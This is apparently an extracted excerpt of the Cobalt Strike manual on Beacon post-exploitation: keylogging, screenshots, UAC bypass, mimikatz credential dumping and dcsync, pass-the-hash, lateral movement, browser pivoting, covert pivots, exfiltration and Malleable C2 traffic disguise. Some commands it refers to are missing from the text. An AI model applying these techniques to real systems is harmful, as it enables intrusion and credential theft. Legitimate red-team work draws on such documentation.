To take a screenshot, use screenshot pid x86 to inject the screenshot tool into an x86 process.
Use screenshot pid x64 to inject into an x64 process. This variant of the screenshot command
will take one screenshot and exit. screenshot, by itself, will inject the screenshot tool into a
temporary process.
The screenwatch command (with options to use a temporary process or inject into an explicit
process) will continuously take screenshots until you stop the screenwatch post-exploitation
job.
Use the printscreen command (also with temporary process and inject options) to take a
screenshot by a different method. This command uses a PrintScr keypress to place the
screenshot onto the user's clipboard. This feature recovers the screenshot from the clipboard
and reports it back to you.
When Beacon receives new screenshots or keystrokes, it will post a message to the Beacon
console. The screenshot and keystroke information is not available through the Beacon console
though. Go to View -> Keystrokes to see logged keystrokes across all of your Beacon sessions.
Go to View -> Screenshots to browse through screenshots from all of your Beacon sessions.
Both of these dialogs update as new information comes in. These dialogs make it easy for one
operator to monitor keystrokes and screenshots on all of your Beacon sessions.
Several Beacon features run as jobs in another process (e.g., the keystroke logger and
screenshot tool). These jobs run in the background and report their output when it’s available.
Use the jobs command to see which jobs are running in your Beacon. Use jobkill [job number]
to kill a job.
You can also issue the command, process_browser, to open the process browser tab starting
in the current directory.
The left-hand side shows the processes organized into a tree. The current process for your
Beacon is highlighted yellow.
The right-hand side shows the process details. The Process Browser is also a convenient place
to impersonate a token from another process, deploy the screenshot tool, or deploy the
keystroke logger.
Highlight one or more processes and press the appropriate button at the bottom of the tab.
If you highlight multiple Beacons and task them to show processes, Cobalt Strike will show a
Process Browser that also states which host the process comes from. This variant of the
Process Browser is a convenient way to deploy Beacon’s post-exploitation tools to multiple
systems at once.
Simply sort by process name, highlight the interesting processes on your target systems, and
press the Screenshot or Log Keystrokes button to deploy these tools to all highlighted
systems.
Desktop Control
To interact with a desktop on a target host, go to [beacon] -> Explore -> Desktop (VNC). This
will stage a VNC server into the memory of the current process and tunnel the connection
through Beacon.
When the VNC server is ready, Cobalt Strike will open a tab labeled Desktop HOST@PID.
You may also use Beacon’s desktop command to inject a VNC server into a specific process.
Use desktop pid architecture low|high. The last parameter let’s you specify a quality for the
VNC session.
The bottom of the desktop tab has several buttons. These are:
Decrease Zoom
Increase Zoom
Zoom to 100%
If you can’t type in a Desktop tab, check the state of the Ctrl and Alt buttons. When either button
is pressed, all of your keystrokes are sent with the Ctrl or Alt modifier. Press the Ctrl or Alt
button to turn off this behavior. Make sure View only isn’t pressed either. To prevent you from
accidentally moving the mouse, View only is pressed by default.
Privilege Escalation
Some post-exploitation commands require system administrator-level rights. Beacon includes
several options to help you elevate your access including the following:
NOTE:
Type help in the Beacon console to see available commands. Type help followed by a
command name to see detailed help.
elevate [exploit] [listener] - This command attempts to elevate with a specific exploit.
You may also launch one of these exploits through [beacon] -> Access -> Elevate.
Choose a listener, select an exploit, and press Launch to run the exploit. This dialog is a
front-end for Beacon's elevate command.
figure 58 - Elevate
You may add privilege escalation exploits to Cobalt Strike through the Elevate Kit. The
Elevate Kit is an Aggressor Script that integrates several open source privilege escalation
exploits into Cobalt Strike. https://github.com/rsmudge/ElevateKit.
runasadmin - This command by itself, lists command elevator exploits registered with Cobalt
Strike.
runasadmin [exploit] [command + args] - This command attempts to run the specified
command in an elevated context.
Cobalt Strike separates command elevator exploits and session-yielding exploits because some
attacks are a natural opportunity to spawn a session. Other attacks yield a “run this command”
primitive. Spawning a session from a “run this command” primitive puts a lot of weaponization
decisions (not always favorable) in the hands of your tool developer. With runasadmin, it’s your
choice to drop an executable to disk and run it, to run a PowerShell one-liner, or to weaken the
target in some way.
If you’d like to use a PowerShell one-liner to spawn a session, go to [beacon] -> Access -> One-
liner.
This dialog will setup a localhost-only webserver within your Beacon session to host a payload
stage and return a PowerShell command to download and run this payload stage.
This webserver is one-use only. Once it’s connected to once, it will clean itself up and stop
serving your payload.
If you run a TCP or SMB Beacon with this tool, you will need to use connect or link to assume
control of the payload manually. Also, be aware that if you try to use an x64 payload—this will fail
if the x86 PowerShell is in your $PATH.
Cobalt Strike does not have many built-in elevate options. Exploit development is not a focus of
the work at Fortra. It is easy to integrate privilege escalation exploits via Cobalt Strike’s
Aggressor Script programming language though. To see what this looks like, download the
Elevate Kit (https://github.com/cobalt-strike/ElevateKit). The Elevate Kit is an Aggressor Script
that integrates several open source privilege escalation exploits into Cobalt Strike.
You may also go to [beacon] -> Access -> Spawn As to run this command as well.
With both of these commands, be aware that credentials for a non-SID 500 account will spawn
a payload in a medium integrity context. You will need to use Bypass UAC to elevate to a high
integrity context. Also, be aware, that you should run these commands from a working folder
that the specified account can read.
Get SYSTEM
getsystem - This command impersonates a token for the SYSTEM account. This level of
access may allow you to perform privileged actions that are not possible as an
Administrator user.
Another way to get SYSTEM is to create a service that runs a payload. The elevate svc-exe
[listener] command does this. It will drop an executable that runs a payload, create a service to
run it, assume control of the payload, and cleanup the service and executable.
UAC Bypass
Microsoft introduced User Account Control (UAC) in Windows Vista and refined it in Windows 7.
UAC works a lot like sudo in UNIX. Day-to-day a user works with normal privileges. When the
user needs to perform a privileged action—the system asks if they would like to elevate their
rights.
Cobalt Strike ships with a few UAC bypass attacks. These attacks will not work if the current
user is not an Administrator. To check if the current user is in the Administrators group, use run
whoami /groups.
runasadmin uac-token-duplication [command] - This is the same attack described above, but
this variant runs a command of your choosing in an elevated context.
runasadmin uac-cmstplua [command] - This command attempta to bypass UAC and run a
command in an elevated context. This attack relies on a COM object that automatically
elevates from certain process contexts (Microsoft signed, lives in c:\windows\*).
Privileges
getprivs - This command enables the privileges assigned to your current access token.
Mimikatz
Beacon integrates mimikatz. Use mimikatz [pid] [arch] [module::command] <args> to inject
into the specified process to run a mimikatz command. Use mimikatz (without [pid] and [arch]
arguments) to spawn a temporary process to run a mimikatz command.
Some mimikatz commands must run as SYSTEM to work. Prefix a command with an
exclamtion ( ! ) to force mimikatz to elevate to SYSTEM before it runs your command. For
example, mimikatz !lsa::cache will recover salted password hashes cached by the system. Use
mimikatz [pid] [arch] [!module::command] <args> or mimikatz [!module::command] <args>
(without [pid] and [arch] arguments).
If you need to run a mimikatz command with Beacon’s current access token, you can prefix a
command with a @ to force mimikatz to impersonate Beacon’s current access token. For
example, mimikatz @lsadump::dcsync will run the dcsync command in mimikatz with
Beacon’s current access token. Use mimikatz [pid] [arch] [@module::command] <args> or
mimikatz [@module::command] <args> (without [pid] and [arch] arguments).
If you want to run multiple mimikatz commands in a single command, use the semicolon ( ; )
character to separate multiple mimikatz commands. The maximum length of the commands is
511 characters. For example, mimikatz crypto::capi ; crypto::certificates
/systemstore:local_machine /store:my /export
Use logonpasswords [pid] [arch] to inject into the specified process to dump plaintext
credentials and NTLM hashes. Use logonpasswords (without [pid] and [arch] arguments) to
spawn a temporary process to dump plaintext credentials and NTLM hashes. This command
uses mimikatz and requires administrator privileges.
Use dcsync [pid] [arch] [DOMAIN.fqdn] <DOMAIN\user> to inject into the specified process to
extract the NTLM password hashes. Use dcsync [DOMAIN.fqdn] <DOMAIN\user> to spawn a
temporary process to extract the NTLM password hashes. This command uses mimikatz to
extract the NTLM password hash for domain users from the domain controller. Specify a user
to get their hash only. This command requires a domain administrator trust relationship.
Use chromedump [pid] [arch] to inject into the specified process to recover credential material
from Google Chrome. Use chromedump (without [pid] and [arch] arguments) to spawn a
temporary process to recover credential material from Google Chrome. This command will use
Mimikatz to recover the credential material and should be run under a user context.
Credentials dumped with the above commands are collected by Cobalt Strike and stored in the
credentials data model. Go to View -> Credentials to pull up the credentials on the current team
server.
Port Scanning
Beacon has a built in port scanner. Use portscan [pid] [arch] [targets] [ports] [arp|icmp|none]
[max connections] to inject into the specified process to run a port scan against the specified
hosts. Use portscan [targets] [ports] [arp|icmp|none] [max connections] (without [pid] and
[arch] arguments) to spawn a temporary process to run a port scan against the specified hosts.
The [targets] option is a comma separated list of hosts to scan. You may also
specify IPv4 address ranges (e.g., 192.168.1.128-192.168.2.240, 192.168.1.0/24)
The [ports] option is a comma separated list or ports to scan. You may specify port
ranges as well (e.g., 1-65535)
The [arp|icmp|none] target discovery options dictate how the port scanning tool will
determine if a host is alive. The ARP option uses ARP to see if a system responds to
the specified address. The ICMP option sends an ICMP echo request. The none
option tells the portscan tool to assume all hosts are alive.
The [max connections] option limits how many connections the port scan tool will
attempt at any one time. The portscan tool uses asynchronous I/O and it's able to
handle a large number of connections at one time. A higher value will make the
portscan go much faster. The default is 1024.
The port scanner will run, in between Beacon check ins. When it has results to report, it will send
them to the Beacon console. Cobalt Strike will process this information and update the targets
model with the discovered hosts.
You can also go to [beacon] -> Explore -> Port Scanner to launch the port scanner tool.
Use net [pid] [arch] [command] [arguments] to inject the network and host enumeration tool
into the specified process. Use net [command] [arguments] (without [pid] and [arch]
arguments) to spawn a temporary process and inject the network and host enumeration tool
into it. An exception is the net domain command which is implemented as a BOF.net domain.
The commands in Beacon’s net module are built on top of the Windows Network Enumeration
APIs. Most of these commands are direct replacements for many of the built-in net commands
in Windows (there are also a few unique capabilities here as well). The following commands are
available:
localgroup - lists local groups and users in local groups. (great during lateral movement when
you have to find who is a local admin on another system).
view - lists hosts in a domain (browser service). (populates the targets model)
Trust Relationships
The heart of Windows single sign-on is the access token. When a user logs onto a Windows
host, an access token is generated. This token contains information about the user and their
rights. The access token also holds information needed to authenticate the current user to
another system on the network. Impersonate or generate a token and Windows will use its
information to authenticate to a network resource for you.
Token Store
The token store facilitates hot-swappable access tokens. Use token-store steal [pid,...]
<OpenProcessToken access mask> to steal an access token and store it. To immediately
apply the stolen token, use token-store steal-and-use [pid] <OpenProcessToken access
mask>.
The token-store show command lists the access tokens currently available in the token store.
Use token-store use [id] to apply an access token to the current Beacon.
token-store remove [id,...] and token-store remove-all commands can be used to remove
stored tokens from the store.
If you’d like to see which processes are running use ps. The getuid command will print your
current token. Use rev2self to revert back to your original token.
NOTE:
'OpenProcessToken access mask' can be helpful for stealing tokens from processes using
'SYSTEM' user and you have this error: Could not open process token: {pid} (5)
You can set your preferred default with '.steal_token_access_mask' in the Malleable C2 global
options.
If you know credentials for a user; use make_token [DOMAIN\user] [password] to generate a
token that passes these credentials. This token is a copy of your current token with modified
single sign-on information. It will show your current username. This is expected behavior.
The Beacon command pth [pid] [arch] [DOMAIN\user] [ntlm hash] injects into the specified
process to generate AND impersonate a token. Use pth [DOMAIN\user] [ntlm hash] (without
[pid] and [arch] arguments) to spawn a temporary process to generate AND impersonate a
token. This command uses mimikatz to generate AND impersonate a token that uses the
specified DOMAIN, user, and NTLM hash as single sign-on credentials. Beacon will pass this
hash when you interact with network resources.
Beacon’s Make Token dialog ([beacon] -> Access -> Make Token) is a front-end for these
commands. It will present the contents of the credential model and it will use the right
command to turn the selected credential entry into an access token.
Kerberos Tickets
A Golden Ticket is a self-generated Kerberos ticket. It's most common to forge a Golden Ticket
with Domain Administrator rights
Go to [beacon] -> Access -> Golden Ticket to forge a Golden Ticket from Cobalt Strike. Provide
the following pieces of information and Cobalt Strike will use mimikatz to generate a ticket and
inject it into your kerberos tray:
Use kerberos_ticket_use [/path/to/ticket] to inject a Kerberos ticket into the current session.
This will allow Beacon to interact with remote systems using the rights in this ticket.
Use kerberos_ticket_purge to clear any Kerberos tickets associated with your session.
Lateral Movement
Once you have a token for a domain admin or a domain user who is a local admin on a target,
you may abuse this trust relationship to get control of the target. Cobalt Strike’s Beacon has
several built-in options for lateral movement.
Type jump to list lateral movement options registered with Cobalt Strike. Run jump [module]
[target] [listener] to attempt to run a payload on a remote target.
Run remote-exec, by itself, to list remote execution modules registered with Cobalt Strike. Use
remote-exec [module] [target] [command + args] to attempt to run the specified command
on a remote target.
Lateral movement is an area, similar to privilege escalation, where some attacks present a
natural set of primitives to spawn a session on a remote target. Some attacks give an execute-
primitive only. The split between jump and remote-exec gives you flexibility to decide how to
weaponize an execute-only primitive.
Aggressor Script has an API to add new modules to jump and remote-exec. See the Aggressor
Script documentation (the Beacon chapter, specifically) for more information.
First, decide which trust you want to use for lateral movement. If you want to use the token in
one of your Beacons, check the Use session’s current access token box. If you want to use
credentials or hashes for lateral movement—that’s OK too. Select credentials from the
credential store or populate the User, Password, and Domain fields. Beacon will use this
information to generate an access token for you. Keep in mind, you need to operate from a high
integrity context [administrator] for this to work.
Next, choose the listener to use for lateral movement. The SMB Beacon is usually a good
candidate here.
Last, select which session you want to perform the lateral movement attack from. Cobalt
Strike’s asynchronous model of offense requires each attack to execute from a compromised
system.
There is no option to perform this attack without a Beacon session to attack from. If you’re on
an internal engagement, consider hooking a Windows system that you control and use that as
your starting point to attack other systems with credentials or hashes.
Press Launch. Cobalt Strike will activate the tab for the selected Beacon and issue commands
to it. Feedback from the attack will show up in the Beacon console.
Beacon Data Store enables an operator to store Beacon Object Files (BOFs) and .NET
assemblies in Beacon's memory. These stored items can subsequently be executed multiple
times without resending the item. The Cobalt Strike client automatically detects whether an
object to be executed is already stored in the data store. The stored entries are masked by
default, and the item is unmasked only when it is used.
In addition to Beacon Object Files and .NET assemblies, it is possible to store generic files in the
data store, and these files can be accessed from within BOFs. Further details can be found on
the BOF C API page.
The default size of the data store is 16 entries, but you can modify this size by configuring the
data_store_size option within the stage block of a C2 profile.
The data-store load [bof|dotnet|file] <name> [file path] command stores an item in the store.
If the name argument is not provided, then the file name is used.
The data-store list lists the items currently available in the data store.
Other Commands
Beacon has a few other commands not covered above.
The clear command will clear Beacon's task list. Use this if you make a mistake.
Use timestomp to match the Modified, Accessed, and Created times of one file to those of
another file.
Browser Pivoting
Malware like Zeus and its variants inject themselves into a user’s browser to steal banking
information. This is a man-in-the-browser attack. So-called, because the attacker is injecting
malware into the target’s browser.
Overview
Man-in-the-browser malware uses two approaches to steal banking information. They either
capture form data as it’s sent to a server. For example, malware might hook PR_Write in Firefox
to intercept HTTP POST data sent by Firefox. Or, they inject JavaScript onto certain webpages
to make the user think the site is requesting information that the attacker needs.
Cobalt Strike offers a third approach for man-in-the-browser attacks. It lets the attacker hijack
authenticated web sessions—all of them. Once a user logs onto a site, an attacker may ask the
user’s browser to make requests on their behalf. Since the user’s browser is making the request,
it will automatically re-authenticate to any site the user is already logged onto. I call this a
browser pivot—because the attacker is pivoting their browser through the compromised user’s
browser.
Cobalt Strike’s implementation of browser pivoting for Internet Explorer injects an HTTP proxy
server into the compromised user’s browser. Do not confuse this with changing the user’s proxy
settings. This proxy server does not affect how the user gets to a site. Rather, this proxy server
is available to the attacker. All requests that come through it are fulfilled by the user’s browser.
Setup
To setup Browser pivoting, go to [beacon] -> Explore -> Browser Pivot. Choose the Internet
Explorer instance that you want to inject into. You may also decide which port to bind the
browser pivoting proxy server to as well.
Beware that the process you inject into matters a great deal. Inject into Internet Explorer to
inherit a user’s authenticated web sessions. Modern versions of Internet Explorer spawn each
tab in its own process. If your target uses a modern version of Internet Explorer, you must inject
a process associated with an open tab to inherit session state. Which tab process doesn’t
matter (child tabs share session state).
Identify Internet Explorer tab processes by looking at the PPID value in the Browser Pivoting
setup dialog. If the PPID references explorer.exe, the process is not associated with a tab. If the
PPID references iexplore.exe, the process is associated with a tab. Cobalt Strike will show a
checkmark next to the processes it thinks you should inject into.
Once Browser Pivoting is setup, set up your web browser to use the Browser Pivot Proxy server.
Remember, Cobalt Strike’s Browser Pivot server is an HTTP proxy server.
Use
You may browse the web as your target user once browser pivoting is started. Beware that the
browser pivoting proxy server will present its SSL certificate for SSL-enabled websites you visit.
This is necessary for the technology to work.
The browser pivoting proxy server will ask you to add a host to your browser’s trust store when
it detects an SSL error. Add these hosts to the trust store and press refresh to make SSL
protected sites load properly.
If your browser pins the certificate of a target site, you may find its impossible to get your
browser to accept the browser pivoting proxy server’s SSL certificate. This is a pain. One option
is to use a different browser. The open source Chromium browser has a command-line option
to ignore all certificate errors. This is ideal for browser pivoting use:
The above command is available from View -> Proxy Pivots. Highlight the Browser Pivot HTTP
Proxy entry and press Tunnel.
To stop the Browser Pivot proxy server, type browserpivot stop in its Beacon console.
You will need to reinject the browser pivot proxy server if the user closes the tab you’re working
from. The Browser Pivot tab will warn you when it can’t connect to the browser pivot proxy
server in the browser.
NOTE:
OpenJDK 11 has a TLS implementation bug that causes ERR_SSL_PROTOCOL_ERROR
(Chrome/Chromium) and SSL_ERROR_RX_RECORD_TOO_LONG (Firefox) when interacting
with https:// sites. If you encounter these errors--downgrade your team server to Oracle
Java 1.8 or OpenJDK 10.
By injecting Cobalt Strike’s Browser Pivoting technology into a user’s Internet Explorer instance,
you get this transparent reauthentication for free.
Pivoting
What is Pivoting
Pivoting, for the sake of this manual, is turning a compromised system into a hop point for other
attacks and tools. Cobalt Strike’s Beacon provides several pivoting options. For each of these
options, you will want to make sure your Beacon is in interactive mode. Interactive mode is
when a Beacon checks in multiple times each second. Use the sleep 0 command to put your
Beacon into interactive mode.
SOCKS Proxy
Go to [beacon] -> Pivoting -> SOCKS Server to setup a SOCKS4 or SOCKS5 proxy server on
your team server. Or, use socks 8080 to setup a SOCKS proxy server on port 8080 (or any other
port you choose).
All connections that go through these SOCKS servers turn into connect, read, write, and close
tasks for the associated Beacon to execute. You may tunnel via SOCKS through any type of
Beacon (even an SMB Beacon).
Beacon’s HTTP data channel is the most responsive for pivoting purposes. If you’d like to pivot
traffic over DNS, use the DNS TXT record communication mode.
To see the SOCKS servers that are currently setup, go to View -> Proxy Pivots.
Use socks stop to stop the SOCKS servers and terminate existing connections.
Traffic will not relay while Beacon is asleep. Change the sleep time with the sleep command to
reduce latency.
Proxychains
The proxychains tool will force an external program to use a SOCKS proxy server that you
designate. You may use proxychains to force third-party tools through Cobalt Strike’s SOCKS
server. To learn more about proxychains, visit: http://proxychains.sourceforge.net/
Metasploit
You may also tunnel Metasploit Framework exploits and modules through Beacon. Create a
Beacon SOCKS proxy server [as described above] and paste the following into your Metasploit
Framework console:
These commands will instruct the Metasploit Framework to apply your Proxies option to all
modules executed from this point forward. Once you’re done pivoting through Beacon in this
way, use unsetg Proxies to stop this behavior.
If you find the above tough to remember, go to View -> Proxy Pivots. Highlight the proxy pivot
you setup and press Tunnel. This button will provide the setg Proxies syntax needed to tunnel
the Metasploit Framework through your Beacon.
NOTE:
Type help in the Beacon console to see available commands. Type help followed by a
command name to see detailed help.
rportfwd - Use this command to setup a reverse pivot through Beacon. The rportfwd command
will bind a port on the compromised target. Any connections to this port will cause your
Cobalt Strike server to initiate a connection to another host and port and relay traffic
between these two connections. Cobalt Strike tunnels this traffic through Beacon.
The syntax for rportfwd is: rportfwd [bind port] [forward host] [forward port].
rportfwd_local - Use this command to setup a reverse pivot through Beacon with one variation.
This feature initiates a connection to the forward host/port from your Cobalt Strike client.
The forwarded traffic is communicated through the connection your Cobalt Strike client
has to its team server.
rportfwd stop [bind port] - Use to disable the reverse port forward.
The above will generate a Core Impact agent as a raw file. You may use spunnel x64 or spunnel_
local x64 to run this agent and tunnel it back to Core Impact.
We often use Cobalt Strike on an internet reachable infrastructure and Core Impact is often on a
local Windows virtual machine. It's for this reason we have spunnel_local. We recommend that
you run a Cobalt Strike client from the same Windows system that Core Impact is installed onto.
In this setup, you can run spunnel_local x64 127.0.0.1 9000 c:\path\to\agent.bin. Once the
connection is made, you will hear the famous "Agent Deployed" wav file.
With an Impact agent on target, you have tools to escalate privileges, scan and information
gather via many modules, launch remote exploits, and chain other Impact agents through your
Beacon connection.
Pivot Listeners
It’s good tradecraft to limit the number of direct connections from your target’s network to your
command and control infrastructure. A pivot listener allows you to create a listener that is
bound to a Beacon or SSH session. In this way, you can create new reverse sessions without
more direct connections to your command and control infrastructure.
To setup a pivot listener, go to [beacon] -> Pivoting -> Listener…. This will open a dialog where
you may define a new pivot listener.
A pivot listener will bind to Listen Port on the specified Session. The Listen Host value configures
the address your reverse TCP payload will use to connect to this listener.
Right now, the only payload option is windows/beacon_reverse_tcp. This is a listener without a
stager. This means you can’t embed this payload into commands and automation that expect
stagers. You do have the option to export a stageless payload artifact and run it to deliver a
reverse TCP payload.
Pivot Listeners do not change the pivot host’s firewall configuration. If a pivot host has a host-
based firewall, this may interfere with your listener. You, the operator, are responsible for
anticipating this situation and taking the right steps for it.
To remove a pivot listener, go to Cobalt Strike -> Listeners and remove the listener there.
Cobalt Strike will send a task to tear down the listening socket, if the session is still reachable.
Covert VPN
VPN pivoting is a flexible way to tunnel traffic without the limitations of a proxy pivot. Cobalt
Strike offers VPN pivoting through its Covert VPN feature. Covert VPN creates a network
interface on the Cobalt Strike system and bridges this interface into the target’s network.
How to Deploy
To activate Covert VPN, right-click a compromised host, go to [beacon] -> Pivoting -> Deploy
VPN. Select the remote interface you would like Covert VPN to bind to. If no local interface is
present, press Add to create one.
Check Clone host MAC address to make your local interface have the same MAC address as
the remote interface. It’s safest to leave this option checked.
Press Deploy to start the Covert VPN client on the target. Covert VPN requires Administrator
access to deploy.
Once a Covert VPN interface is active, you may use it like any physical interface on your system.
Use ifconfig to configure its IP address. If your target network has a DHCP server, you may
request an IP address from it using your operating systems built-in tools.
Manage Interfaces
To manage your Covert VPN interfaces, go to Cobalt Strike -> VPN Interfaces. Here, Cobalt
Strike will show the Covert VPN interfaces, how they’re configured, and how many bytes were
transmitted and received through each interface.
Highlight an interface and press Remove to destroy the interface and close the remote Covert
VPN client. Covert VPN will remove its temporary files on reboot and it automatically undoes
any system changes right away.
Configure an Interface
Covert VPN interfaces consist of a network tap and a channel to communicate ethernet frames
through. To configure the interface, choose an Interface name (this is what you will manipulate
through ifconfig later) and a MAC address.
You must also configure the Covert VPN communication channel for your interface. Covert VPN
may communicate Ethernet frames over a UDP connection, TCP connection, ICMP, or using the
HTTP protocol. The TCP (Reverse) channel has the target connect to your Cobalt Strike
instance. The TCP (Bind) channel has Cobalt Strike tunnel the VPN through Beacon.
Cobalt Strike will setup and manage communication with the Covert VPN client based on the
Local Port and Channel you select.
The Covert VPN HTTP channel makes use of the Cobalt Strike web server. You may host other
Cobalt Strike web applications and multiple Covert VPN HTTP channels on the same port.
For best performance, use the UDP channel. The UDP channel has the least amount of
overhead compared to the TCP and HTTP channels. Use the ICMP, HTTP, or TCP (Bind)
channels if you need to get past a restrictive firewall.
While Covert VPN has a flexibility advantage, your use of a VPN pivot over a proxy pivot will
depend on the situation. Covert VPN requires Administrator access. A proxy pivot does not.
Covert VPN creates a new communication channel. A proxy pivot does not. You should use a
proxy pivot initially and move to a VPN pivot when it’s needed.
SSH Sessions
The SSH Client
Cobalt Strike controls UNIX targets with a built-in SSH client. This SSH client receives tasks
from and routes its output through a parent Beacon.
Right-click a target and go to Login -> ssh to authenticate with a username and password. Go
to Login -> ssh (key) to authenticate with a key.
From a Beacon console, use ssh [pid] [arch] [target] [user] [password] to inject into the
specified process to run an SSH client and attempt to login to the specified target. Use ssh
[target] [user] [password] (without [pid] and [arch] arguments) to spawn a temporary process
to run an SSH client and attempt to login to the specified target.
You may also use ssh-key [pid] [arch] [target:port] [user] [/path/to/key.pem] to inject into the
specified process to run an SSH client and attempt to login to the specified target. Use ssh-key
[target:port] [user] [/path/to/key.pem] (without [pid] and [arch] arguments) to spawn a
temporary process to run an SSH client and attempt to login to the specified target.
NOTE:
The key file needs to be in the PEM format. If the file is not in the PEM format then make a
copy of the file and convert the copy with the following command: /usr/bin/ssh-keygen -f
[/path/to/copy] -e -m pem -p.
These commands run Cobalt Strike’s SSH client. The client will report any connection or
authentication issues to the parent Beacon. If the connection succeeds, you will see a new
session in Cobalt Strike’s display. This is an SSH session. Right-click on this session and press
Interact to open the SSH console.
Type help to see a list of commands the SSH session supports. Type help followed by a
command name for details on that command.
Running Commands
The shell command will run the command and arguments you provide. Running commands
block the SSH session for up to 20s before Cobalt Strike puts the command in the background.
Cobalt Strike will report output from these long running commands as it becomes available.
Use sudo [password] [command + arguments] to attempt to run a command via sudo. This
alias requires the target’s sudo to accept the –S flag.
The cd command will change the current working directory for the SSH session. The pwd
command reports the current working directory.
NOTE:
Type help in the Beacon console to see available commands. Type help followed by a
command name to see detailed help.
download - This command downloads the requested file. You do not need to provide quotes
around a filename with spaces in it. Beacon is built for low and slow exfiltration of data.
During each check-in, Beacon will download a fixed chunk of each file its tasked to get.
The size of this chunk depends on Beacon’s current data channel. The HTTP and HTTPS
channels pull data in 512KB chunks.
downloads - Use to see a list of file downloads in progress for the current Beacon.
cancel - Issue this command, followed by a filename, to cancel a download that’s in progress.
You may use wildcards with your cancel command to cancel multiple file downloads at
once.
timestomp - When you upload a file, you will sometimes want to update its timestamps to
make it blend in with other files in the same folder. This command will do this. The
timestomp command matches the Modified, Accessed, and Created times of one file to
another file.
Go to View -> Downloads in Cobalt Strike to see the files that your team has downloaded so far.
Only completed downloads show up in this tab.
Downloaded files are stored on the team server. To bring files back to your system, highlight
them here, and press Sync Files. Cobalt Strike then downloads the selected files to a folder of
your choosing on your system.
Peer-to-peer C2
SSH sessions can control TCP Beacons. Use the connect command to assume control of a
TCP Beacon waiting for a connection. Use unlink to disconnect a TCP Beacon session.
Go to [session] -> Listeners -> Pivot Listener… to setup a pivot listener tied to this SSH
session. This will allow this compromised UNIX target to receive reverse TCP Beacon sessions.
This option does require that the SSH daemon’s GatewayPorts option is set to yes or
ClientSpecified.
NOTE:
Type help in the Beacon console to see available commands. Type help followed by a
command name to see detailed help.
socks - Use this command to create a SOCKS server on your team server that forwards traffic
through the SSH session. The rportfwd command will also create a reverse port forward
that routes traffic through the SSH session and your Beacon chain.
There is one caveat to rportfwd: the rportfwd command asks the SSH daemon to bind to all
interfaces. It’s quite likely the SSH daemon will override this and force the port to bind to
localhost. You need to change the GatewayPorts option for the SSH daemon to yes or
clientspecified.
To use a custom profile, you must start a Cobalt Strike team server and specify your profile at
that time.
You may only load one profile per Cobalt Strike instance.
To close the dialog use the 'x' in the upper right corner of the dialog.
TIP:
This section covers the Malleable C2 features related to flexible network communications.
See Malleable PE, Process Injection, and Post Exploitation on page 151 for information
on Malleable C2's stage, process-inject, and post-ex blocks.
./c2lint [/path/to/my.profile]
c2lint returns and logs the following result codes for the specified profile file:
The last lines of the c2lint output display a count of detected errors and warnings. No message
is displayed if none are found. There can be more error messages displayed in the output than
the count represents because a single error may produce more than 1 error message. This is
the same possibility for warnings however less likely. For example:
Profile Language
The best way to create a profile is to modify an existing one. Several example profiles are
available on Github: https://github.com/cobalt-strike/Malleable-C2-Profiles
# this is a comment
set global_option "value";
protocol-transaction {
set local_option "value";
client {
# customize client indicators
}
server {
# customize server indicators
}
}
Comments begin with a # and go until the end of the line. The set statement is a way to assign a
value to an option. Profiles use { curly braces } to group statements and information together.
Statements always end with a semi-colon.
http-get {
set uri "/foobar";
client {
metadata {
base64;
prepend "user=";
header "Cookie";
}
}
This partial profile defines indicators for an HTTP GET transaction. The first statement, set uri,
assigns the URI that the client and server will reference during this transaction. This set
statement occurs outside of the client and server code blocks because it applies to both of
them.
The client block defines indicators for the client that performs an HTTP GET. The client, in this
case, is Cobalt Strike’s Beacon payload.
When Cobalt Strike’s Beacon “phones home” it sends metadata about itself to Cobalt Strike. In
this profile, we have to define how this metadata is encoded and sent with our HTTP GET
request.
The metadata keyword followed by a group of statements specifies how to transform and
embed metadata into our HTTP GET request. The group of statements, following the metadata
keyword, is called a data transform.
The first statement in our data transform states that we will base64 encode our metadata [1].
The second statement, prepend, takes our encoded metadata and prepends the string user= to
it [2]. Now our transformed metadata is “user=“ . base64(metadata). The third statement states
we will store our transformed metadata into a client HTTP header called Cookie [3]. That’s it.
Both Beacon and its server consume profiles. Here, we’ve read the profile from the perspective
of the Beacon client. The Beacon server will take this same information and interpret it
backwards. Let’s say our Cobalt Strike web server receives a GET request to the URI /foobar.
Now, it wants to extract metadata from the transaction.
The header statement will tell our server where to recover our transformed metadata from [1].
The HTTP server takes care to parse headers from the HTTP client for us. Next, we need to deal
with the prepend statement. To recover transformed data, we interpret prepend as remove the
first X characters [2], where X is the length of the original string we prepended. Now, all that’s left
is to interpret the last statement, base64. We used a base64 encode function to transform the
metadata before. Now, we use a base64 decode to recover the metadata [3].
We will have the original metadata once the profile interpreter finishes executing each of these
inverse statements.
A data transform is a combination of any number of these statements, in any order. For
example, you may choose to netbios encode the data to transmit, prepend some information,
and then base64 encode the whole package.
A data transform always ends with a termination statement. You may only use one termination
statement in a transform. This statement tells Beacon and its server where in the transaction to
store the transformed data.
Statement What
header “header” Store data in an HTTP header
parameter “key” Store data in a URI parameter
print Send data as transaction body
uri-append Append to URI
The header termination statement stores transformed data in an HTTP header. The parameter
termination statement stores transformed data in an HTTP parameter. This parameter is
always sent as part of URI. The print statement sends transformed data in the body of the
transaction.
The print statement is the expected termination statement for the http-get.server.output, http-
post.server.output, and http-stager.server.output blocks. You may use the header, parameter,
print and uri-append termination statements for the other blocks.
These blocks and the data they send are described in a later section.
Strings
Beacon’s Profile Language allows you to use “strings” in several places. In general, strings are
interpreted as-is. However, there are a few special values that you may use in a string:
In an HTTP GET or POST request, these extraneous indicators come in the form of headers or
parameters. Use the parameter statement within the client block to add an arbitrary parameter
to an HTTP GET or POST transaction.
This code will force Beacon to add ?bar=blah to the /foobar URI when it makes a request.
http-get {
client {
parameter "bar" "blah";
Use the header statement within the client or server blocks to add an arbitrary HTTP header to
the client’s request or server’s response. This header statement adds an indicator to put
network security monitoring teams at ease.
http-get {
server {
header "X-Not-Malware" "I promise!";
The Profile Interpreter will Interpret your header and parameter statements In order. That said,
the WinINet or WinHTTP (client) and Cobalt Strike web server have the final say about where in
the transaction these indicators will appear.
See HTTP Host Profiles on page 140 for instructions to include customized headers and
parameters for specific host names.
Options
You may configure Beacon’s defaults through the profile file. There are two types of options:
global and local options. The global options change a global Beacon setting. Local options are
transaction specific. You must set local options in the right context. Use the set statement to set
an option.
With the uri option, you may specify multiple URIs as a space separated string. Cobalt Strike’s
web server will bind all of these URIs and it will assign one of these URIs to each Beacon host
when the Beacon stage is built.
